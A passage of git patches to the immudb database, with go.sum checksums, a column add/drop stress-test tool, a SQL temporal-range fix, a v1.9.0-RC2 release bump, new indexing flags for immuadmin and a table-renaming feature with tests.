h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200224152610-e50cd9704f63/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200228133532-8c2c7df3a383/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200305110556-506484158171/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200312145019-da6875a35672/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200331122359-1ee6d9798940/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200423170343-7949de9c1215/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200430143042-b979b6f78d84/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200511104702-f5ebc3bea380/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200513103714-09dca8ec2884/go.mod h1:55QSHmfGQM9UVYDPBsyGGes0y52j32PQ3BqQfXhyH3c= +google.golang.org/genproto v0.0.0-20200515170657-fc4c6c6a6587/go.mod h1:YsZOwe1myG/8QRHRsmBRE1LrgQY60beZKjly0O1fX9U= +google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= +google.golang.org/genproto v0.0.0-20200618031413-b414f8b61790/go.mod h1:jDfRM7FcilCzHH/e9qn6dsT145K34l5v+OpcnNgKAAA= +google.golang.org/genproto v0.0.0-20200729003335-053ba62fc06f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20200804131852-c06518451d9c/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20200825200019-8632dd797987/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20200904004341-0bd0a958aa1d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20201109203340-2640f1f9cdfb/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20201201144952-b05cb90ed32e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20201210142538-e3217bee35cc/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20201214200347-8c77b98c765d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20210108203827-ffc7fda8c3d7/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20210226172003-ab064af71705/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5 h1:L6iMMGrtzgHsWofoFcihmDEMYeDR9KN/ThbPWGrh++g= +google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5/go.mod h1:oH/ZOT02u4kWEp7oYBGYFFkCdKS/uYR9Z7+0/xuuFp8= +google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d h1:DoPTO70H+bcDXcd39vOqb2viZxgqeBeSGtZ55yZU4/Q= +google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d/go.mod h1:KjSP20unUpOx5kyQUFa7k4OJg0qeJ7DEZflGDu2p6Bk= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d h1:uvYuEyMHKNt+lT4K3bN6fGswmK8qSvcreM3BwjDh+y4= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d/go.mod h1:+Bk1OCOj40wS2hwAMA+aCW9ypzm63QTBBHp6lQ3p+9M= +google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= +google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= +google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= +google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= +google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= +google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= +google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= +google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= +google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60= +google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= +google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= +google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= +google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= +google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0= +google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= +google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8= +google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= +google.golang.org/grpc v1.57.0 h1:kfzNeI/klCGD2YPMUlaGNT3pxvYfga7smW3Vth8Zsiw= +google.golang.org/grpc v1.57.0/go.mod h1:Sd+9RMTACXwmub0zcNY2c4arhtrbBYD1AUHI/dt16Mo= +google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= +google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= +google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= +google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= +google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= +google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4= +google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= +google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= +google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= +google.golang.org/protobuf v1.31.0 h1:g0LDEJHgrBl9N9r17Ru3sqWhkIx2NB67okBHPwC7hs8= +google.golang.org/protobuf v1.31.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= +gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= +gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA= +gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= +honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= +honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= +rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= +rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= +rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= diff --git a/test/columns/main.go b/test/columns/main.go new file mode 100644 index 0000000000..26897f057f --- /dev/null +++ b/test/columns/main.go @@ -0,0 +1,143 @@ +/* +Copyright 2022 CodeNotary, Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +package main + +import ( + "context" + "flag" + "fmt" + "log" + "strings" + "math/rand" + + immuclient "github.com/codenotary/immudb/pkg/client" +) + +var config struct { + IpAddr string + Port int + Username string + Password string + DBName string + NCycles int + MaxCol int +} + +func init() { + log.SetFlags(log.LstdFlags | log.Lshortfile) + flag.StringVar(&config.IpAddr, "addr", "", "IP address of immudb server") + flag.IntVar(&config.Port, "port", 3322, "Port number of immudb server") + flag.StringVar(&config.Username, "user", "immudb", "Username for authenticating to immudb") + flag.StringVar(&config.Password, "pass", "immudb", "Password for authenticating to immudb") + flag.StringVar(&config.DBName, "db", "defaultdb", "Name of the database to use") + flag.IntVar(&config.NCycles, "ncycles", 1000, "Number of add/remove cycles") + flag.IntVar(&config.MaxCol, "maxcol", 100, "Number of columns present") + + flag.Parse() +} + +func connect() (context.Context, immuclient.ImmuClient) { + ctx := context.Background() + opts := immuclient.DefaultOptions().WithAddress(config.IpAddr).WithPort(config.Port) + client := immuclient.NewClient().WithOptions(opts) + err := client.OpenSession(ctx, []byte(config.Username), []byte(config.Password), config.DBName) + if err != nil { + log.Fatalln("Failed to open session. Reason:", err) + } + return ctx, client +} + +type worker struct { + ctx context.Context + client immuclient.ImmuClient + tabname string + cols []string +} + +func (w *worker) exec(statement string) { + tx, err := w.client.NewTx(w.ctx) + if err != nil { + log.Fatalln("Failed to create transaction. Reason:", err) + } + err = tx.SQLExec(w.ctx, statement, nil) + if err != nil { + log.Printf("Error in statement: %s", err.Error()) + } + _, err = tx.Commit(w.ctx) + if err != nil { + log.Fatalln("Failed to execute statement. Reason:", err) + } +} + +func (w *worker) mktable() { + w.tabname = fmt.Sprintf("tab%s", getRnd()) + s := fmt.Sprintf("CREATE TABLE %s (id UUID, PRIMARY KEY id)", w.tabname) + w.exec(s) + log.Printf("Table %s created", w.tabname) +} + +func (w *worker) initcols() { + for i := 0; i < config.MaxCol; i++ { + w.addcol() + } +} + +func (w *worker) addcol() { + colname := fmt.Sprintf("C%s", getRnd()) + w.cols = append(w.cols, colname) + s := fmt.Sprintf("alter table %s add column %s varchar[12]", w.tabname, colname) + w.exec(s) + log.Printf("Added column %s", colname) +} + +func (w *worker) delcol() { + idx := rand.Intn(len(w.cols)) + colname := w.cols[idx] + s := fmt.Sprintf("alter table %s drop column %s", w.tabname, colname) + w.exec(s) + w.cols = append(w.cols[:idx],w.cols[idx+1:]...) + log.Printf("Removed column %s", colname) +} + +func (w *worker) addline() { + l := len(w.cols) + v := make([]string, l) + for i := 0; i < l; i++ { + v[i] = "'"+getRnd()+"'" + } + cols := strings.Join(w.cols, ",") + vals := strings.Join(v, ",") + q := fmt.Sprintf("INSERT INTO %s(id, %s) values (random_uuid(),%s)", w.tabname, cols, vals) + log.Print(q) + w.exec(q) +} + +func main() { + startRnd(8) + ctx, client := connect() + w := &worker{ + ctx: ctx, + client: client, + } + w.mktable() + w.initcols() + for i := 0; i < config.NCycles; i++ { + w.addline() + w.addcol() + w.delcol() + } +} diff --git a/test/columns/rand.go b/test/columns/rand.go new file mode 100644 index 0000000000..1bdddcdb54 --- /dev/null +++ b/test/columns/rand.go @@ -0,0 +1,67 @@ +/* +Copyright 2022 CodeNotary, Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ +package main + +import ( + "math/rand" + "runtime" + "time" +) + +const hexDigits = "0123456789abcdef" + +func randHexString(n int) { + b := make([]byte, n) + for i, offset := n/4, 0; i > 0; i-- { + // A Int63() generates 63 random bits + cache := rand.Int63() + for j := 0; j < 4; j++ { + idx := int(cache & 15) + b[offset] = hexDigits[idx] + cache >>= 4 + offset++ + } + } + rndChan <- b +} + +var rndChan chan []byte + +func startRnd(size int) { + rand.Seed(time.Now().UnixNano()) + rndChan = make(chan []byte, 65536) + cpu := runtime.NumCPU() + for j := 0; j < cpu; j++ { + go func() { + for { + randHexString(size) + } + }() + } +} + +func getRnd() string { + ret := string(<-rndChan) + return ret +} + +func getPayload(size int) []byte { + b := make([]byte, 0, size) + for len(b) < size { + b = append(b, <-rndChan...) + } + return b +} From 30716c3a74410b7c8b70645ff153897168859c6a Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 16 Oct 2023 10:23:17 +0200 Subject: [PATCH 0864/1062] fix(embedded/sql): fix sql temporal range evaluation Signed-off-by: Jeronimo Irazabal --- embedded/sql/row_reader.go | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index f2e4899e7f..2f8ef7bf84 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -366,20 +366,14 @@ func (r *rawRowReader) reduceTxRange() (err error) { if r.period.start != nil { txRange.initialTxID, err = r.period.start.instant.resolve(r.tx, r.params, true, r.period.start.inclusive) - if errors.Is(err, store.ErrTxNotFound) { - txRange.initialTxID = uint64(math.MaxUint64) - } - if err != nil && err != store.ErrTxNotFound { + if err != nil { return err } } if r.period.end != nil { txRange.finalTxID, err = r.period.end.instant.resolve(r.tx, r.params, false, r.period.end.inclusive) - if errors.Is(err, store.ErrTxNotFound) { - txRange.finalTxID = uint64(0) - } - if err != nil && err != store.ErrTxNotFound { + if err != nil { return err } } @@ -399,6 +393,9 @@ func (r *rawRowReader) Read(ctx context.Context) (row *Row, err error) { // evaluation of txRange is postponed to allow parameters to be provided after rowReader initialization err = r.reduceTxRange() + if errors.Is(err, store.ErrTxNotFound) { + return nil, ErrNoMoreRows + } if err != nil { return nil, err } From aaa9efd7100869f25038df4bd4388d15e931dd3a Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 16 Oct 2023 11:00:30 +0200 Subject: [PATCH 0865/1062] release: v1.9.0-RC2 --- CHANGELOG.md | 16 +++++++++++++++- Makefile | 2 +- 2 files changed, 16 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2617a9c053..6cd58e183a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,19 @@ All notable changes to this project will be documented in this file. This projec ## [Unreleased] + +## [v1.9.0-RC2] - 2023-10-16 +### Bug Fixes +- standard syntax for drop index +- **embedded/sql:** fix sql temporal range evaluation + +### Changes +- **embedded/document:** count with limit in subquery +- **embedded/sql:** expose subquery creation +- **pkg/api:** set optional parameters +- **pkg/api:** set optional parameters + + ## [v1.9.0-RC1] - 2023-10-11 ### Bug Fixes @@ -3737,7 +3750,8 @@ All notable changes to this project will be documented in this file. This projec - **tree:** MTH reference impl -[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.9.0-RC1...HEAD +[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.9.0-RC2...HEAD +[v1.9.0-RC2]: https://github.com/vchain-us/immudb/compare/v1.9.0-RC1...v1.9.0-RC2 [v1.9.0-RC1]: https://github.com/vchain-us/immudb/compare/v1.5.0...v1.9.0-RC1 [v1.5.0]: https://github.com/vchain-us/immudb/compare/v1.5.0-RC1...v1.5.0 [v1.5.0-RC1]: https://github.com/vchain-us/immudb/compare/v1.4.1...v1.5.0-RC1 diff --git a/Makefile b/Makefile index 4db3a32220..461a1fce6b 100644 --- a/Makefile +++ b/Makefile @@ -16,7 +16,7 @@ export GO111MODULE=on SHELL=/bin/bash -o pipefail -VERSION=1.9.0-RC1 +VERSION=1.9.0-RC2 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 From 09841ef4a312ebcc7ef6f85340cc82c154c0f17f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 18 Oct 2023 10:21:32 +0200 Subject: [PATCH 0866/1062] chore(cmd/immuadmin): add indexing related flags Signed-off-by: Jeronimo Irazabal --- cmd/immuadmin/command/database.go | 45 +++++++++++++++++++++++++++++++ 1 file changed, 45 insertions(+) diff --git a/cmd/immuadmin/command/database.go b/cmd/immuadmin/command/database.go index 48204b563f..54fb2b878a 100644 --- a/cmd/immuadmin/command/database.go +++ b/cmd/immuadmin/command/database.go @@ -23,6 +23,7 @@ import ( c "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/embedded/store" + "github.com/codenotary/immudb/embedded/tbtree" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/replication" @@ -50,6 +51,13 @@ func addDbUpdateFlags(c *cobra.Command) { c.Flags().Bool("replication-allow-tx-discarding", replication.DefaultAllowTxDiscarding, "allow precommitted transactions to be discarded if the replica diverges from the primary") c.Flags().Bool("replication-skip-integrity-check", replication.DefaultSkipIntegrityCheck, "disable integrity check when reading data during replication") c.Flags().Bool("replication-wait-for-indexing", replication.DefaultWaitForIndexing, "wait for indexing to be up to date during replication") + + c.Flags().Uint32("indexing-flush-threshold", tbtree.DefaultFlushThld, "number of new index entries between disk flushes") + c.Flags().Float32("indexing-cleanup-percentage", tbtree.DefaultCleanUpPercentage, "percentage of node files cleaned up during each flush") + c.Flags().Uint32("indexing-sync-threshold", tbtree.DefaultSyncThld, "number of new index entries between disk flushes with file sync") + c.Flags().Uint32("indexing-cache-size", tbtree.DefaultCacheSize, "size of the Btree node LRU cache (number of nodes)") + c.Flags().Uint32("indexing-max-active-snapshots", tbtree.DefaultMaxActiveSnapshots, "maximum number of active btree snapshots") + c.Flags().Uint32("write-tx-header-version", 1, "set write tx header version (use 0 for compatibility with immudb 1.1, 1 for immudb 1.2+)") c.Flags().Uint32("max-commit-concurrency", store.DefaultMaxConcurrency, "set the maximum commit concurrency") c.Flags().Duration("sync-frequency", store.DefaultSyncFrequency, "set the fsync frequency during commit process") @@ -407,6 +415,17 @@ func prepareDatabaseNullableSettings(flags *pflag.FlagSet) (*schema.DatabaseNull return nil, nil } + condFloat32 := func(name string) (*schema.NullableFloat, error) { + if flags.Changed(name) { + val, err := flags.GetFloat32(name) + if err != nil { + return nil, err + } + return &schema.NullableFloat{Value: val}, nil + } + return nil, nil + } + condDuration := func(name string) (*schema.NullableMilliseconds, error) { if flags.Changed(name) { val, err := flags.GetDuration(name) @@ -420,6 +439,7 @@ func prepareDatabaseNullableSettings(flags *pflag.FlagSet) (*schema.DatabaseNull ret := &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{}, + IndexSettings: &schema.IndexNullableSettings{}, } ret.ExcludeCommitTime, err = condBool("exclude-commit-time") @@ -502,6 +522,31 @@ func prepareDatabaseNullableSettings(flags *pflag.FlagSet) (*schema.DatabaseNull return nil, err } + ret.IndexSettings.FlushThreshold, err = condUInt32("indexing-flush-threshold") + if err != nil { + return nil, err + } + + ret.IndexSettings.CleanupPercentage, err = condFloat32("indexing-cleanup-percentage") + if err != nil { + return nil, err + } + + ret.IndexSettings.SyncThreshold, err = condUInt32("indexing-sync-threshold") + if err != nil { + return nil, err + } + + ret.IndexSettings.CacheSize, err = condUInt32("indexing-cache-size") + if err != nil { + return nil, err + } + + ret.IndexSettings.MaxActiveSnapshots, err = condUInt32("indexing-max-active-snapshots") + if err != nil { + return nil, err + } + ret.WriteTxHeaderVersion, err = condUInt32("write-tx-header-version") if err != nil { return nil, err From 4b1d3b1c7bcbf5b34425ea1e0b4bd47d6051c5c4 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 18 Oct 2023 16:24:36 +0200 Subject: [PATCH 0867/1062] feat(embedded/sql): table renaming Signed-off-by: Jeronimo Irazabal --- embedded/sql/catalog.go | 25 +- embedded/sql/engine.go | 2 +- embedded/sql/engine_test.go | 25 +- embedded/sql/sql_grammar.y | 5 + embedded/sql/sql_parser.go | 601 ++++++++++++++++++------------------ embedded/sql/stmt.go | 32 ++ 6 files changed, 385 insertions(+), 305 deletions(-) diff --git a/embedded/sql/catalog.go b/embedded/sql/catalog.go index 7afbe87d53..5326d5987a 100644 --- a/embedded/sql/catalog.go +++ b/embedded/sql/catalog.go @@ -478,13 +478,36 @@ func (t *Table) newColumn(spec *ColSpec) (*Column, error) { return col, nil } +func (ctlg *Catalog) renameTable(oldName, newName string) (*Table, error) { + if oldName == newName { + return nil, fmt.Errorf("%w (%s)", ErrSameOldAndNewNames, oldName) + } + + t, err := ctlg.GetTableByName(oldName) + if err != nil { + return nil, err + } + + _, err = ctlg.GetTableByName(newName) + if err == nil { + return nil, fmt.Errorf("%w (%s)", ErrTableAlreadyExists, newName) + } + + t.name = newName + + delete(ctlg.tablesByName, oldName) + ctlg.tablesByName[newName] = t + + return t, nil +} + func (t *Table) renameColumn(oldName, newName string) (*Column, error) { if newName == revCol { return nil, fmt.Errorf("%w(%s)", ErrReservedWord, revCol) } if oldName == newName { - return nil, fmt.Errorf("%w (%s)", ErrSameOldAndNewColumnName, oldName) + return nil, fmt.Errorf("%w (%s)", ErrSameOldAndNewNames, oldName) } col, exists := t.colsByName[oldName] diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index ec7ec68445..50fa1ba7af 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -39,7 +39,7 @@ var ErrTableDoesNotExist = errors.New("table does not exist") var ErrColumnDoesNotExist = errors.New("column does not exist") var ErrColumnAlreadyExists = errors.New("column already exists") var ErrCantDropIndexedColumn = errors.New("can not drop indexed column") -var ErrSameOldAndNewColumnName = errors.New("same old and new column names") +var ErrSameOldAndNewNames = errors.New("same old and new names") var ErrColumnNotIndexed = errors.New("column is not indexed") var ErrFunctionDoesNotExist = errors.New("function does not exist") var ErrLimitedKeyType = errors.New("indexed key of unsupported type or exceeded length") diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 1ba6082282..e3eef150f7 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -1097,7 +1097,7 @@ func TestAddColumn(t *testing.T) { }) } -func TestRenameColumn(t *testing.T) { +func TestRenaming(t *testing.T) { dir := t.TempDir() t.Run("create-store", func(t *testing.T) { @@ -1108,17 +1108,23 @@ func TestRenameColumn(t *testing.T) { engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, name VARCHAR[50], PRIMARY KEY id)", nil) + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 RENAME TO table11", nil) + require.ErrorIs(t, err, ErrTableDoesNotExist) + + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table11 (id INTEGER AUTO_INCREMENT, name VARCHAR[50], PRIMARY KEY id)", nil) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(name)", nil) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table11(name)", nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table11 RENAME TO table1", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(name) VALUES('John'), ('Sylvia'), ('Robocop') ", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 RENAME COLUMN name TO name", nil) - require.ErrorIs(t, err, ErrSameOldAndNewColumnName) + require.ErrorIs(t, err, ErrSameOldAndNewNames) _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table1 RENAME COLUMN name TO id", nil) require.ErrorIs(t, err, ErrColumnAlreadyExists) @@ -1168,7 +1174,13 @@ func TestRenameColumn(t 